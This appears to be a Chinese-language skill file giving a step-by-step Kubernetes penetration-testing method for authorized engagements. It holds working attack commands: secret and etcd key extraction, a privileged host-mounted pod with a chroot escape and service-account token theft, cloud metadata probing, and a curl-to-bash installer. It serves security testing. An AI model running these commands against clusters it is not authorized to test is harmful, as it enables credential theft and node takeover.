| name | performing-kubernetes-penetration-testing |
| description | Kubernetes 渗透测试(Penetration Testing)通过对 API server、kubelet、etcd、Pod、RBAC、网络策略和密钥模拟攻击者技术,系统性评估集群安全性。使用 kube-hunter、Kubescape、peirates 等工具识别可能导致集群被攻陷的错误配置。 |
| domain | cybersecurity |
| subdomain | container-security |
| tags | ["containers","kubernetes","security","penetration-testing","offensive-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 Kubernetes 渗透测试
概述
Kubernetes 渗透测试(Penetration Testing)通过对 API server、kubelet、etcd、Pod、RBAC、网络策略和密钥模拟攻击者技术,系统性评估集群安全性。使用 kube-hunter、Kubescape、peirates 和手动 kubectl 利用等工具,测试人员可识别可能导致集群被攻陷的错误配置。
前置条件
- 已授权的渗透测试委托
- Kubernetes 集群访问权限(不同测试场景需要不同级别的访问权限)
- 已安装 kube-hunter、kubescape、kube-bench
- 已配置 kubectl
- 网络可访问集群组件
核心概念
Kubernetes 攻击面
| 组件 | 端口 | 攻击向量 |
|---|
| API Server | 6443 | 认证绕过、RBAC 滥用、匿名访问 |
| Kubelet | 10250/10255 | 未认证访问、命令执行 |
| etcd | 2379/2380 | 未认证读取、密钥提取 |
| Dashboard | 8443 | 默认凭据、令牌窃取 |
| NodePort 服务 | 30000-32767 | 服务暴露、应用漏洞利用 |
| CoreDNS | 53 | DNS 欺骗、区域传输 |
MITRE ATT&CK Kubernetes 矩阵
| 阶段 | 技术 |
|---|
| 初始访问(Initial Access) | 暴露的 Dashboard、Kubeconfig 窃取、应用漏洞利用 |
| 执行(Execution) | exec 进入容器、CronJob、部署特权 Pod |
| 持久化(Persistence) | 后门容器、变异 Webhook、静态 Pod |
| 权限提升(Privilege Escalation) | 特权容器、节点访问、RBAC 滥用 |
| 防御规避(Defense Evasion) | Pod 名称伪装、命名空间隐藏、日志删除 |
| 凭据访问(Credential Access) | 密钥提取、服务账户令牌窃取 |
| 横向移动(Lateral Movement) | 容器逃逸、集群内部服务 |
实施步骤
步骤 1:外部侦察
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
curl -k https://target-cluster.com:6443/api/v1/namespaces
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods
步骤 2:使用 kube-hunter 自动化扫描
pip install kube-hunter
kube-hunter --remote target-cluster.com
kube-hunter --internal
kube-hunter --pod
kube-hunter --remote target-cluster.com --report json --log output.json
步骤 3:使用 kube-bench 进行 CIS Benchmark 评估
kube-bench run --targets master
kube-bench run --targets node
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
kube-bench run --json > kube-bench-results.json
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
步骤 4:使用 Kubescape 进行框架合规检查
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan framework nsa
kubescape scan framework mitre
kubescape scan framework cis-v1.23-t1.0.1
kubescape scan framework nsa --namespace production
kubescape scan framework nsa --format json --output kubescape-report.json
步骤 5:RBAC 利用测试
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
kubectl --as=system:serviceaccount:default:default get pods
步骤 6:密钥提取测试
kubectl get secrets -A
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
步骤 7:Pod 利用
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
kubectl exec -it pentest-pod -- bash
chroot /host
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
步骤 8:网络策略测试
kubectl get networkpolicies -A
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
验证命令
kube-hunter --remote $CLUSTER_IP --report json
kubescape scan framework nsa --format json
kube-bench run --targets master,node --json
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
参考资料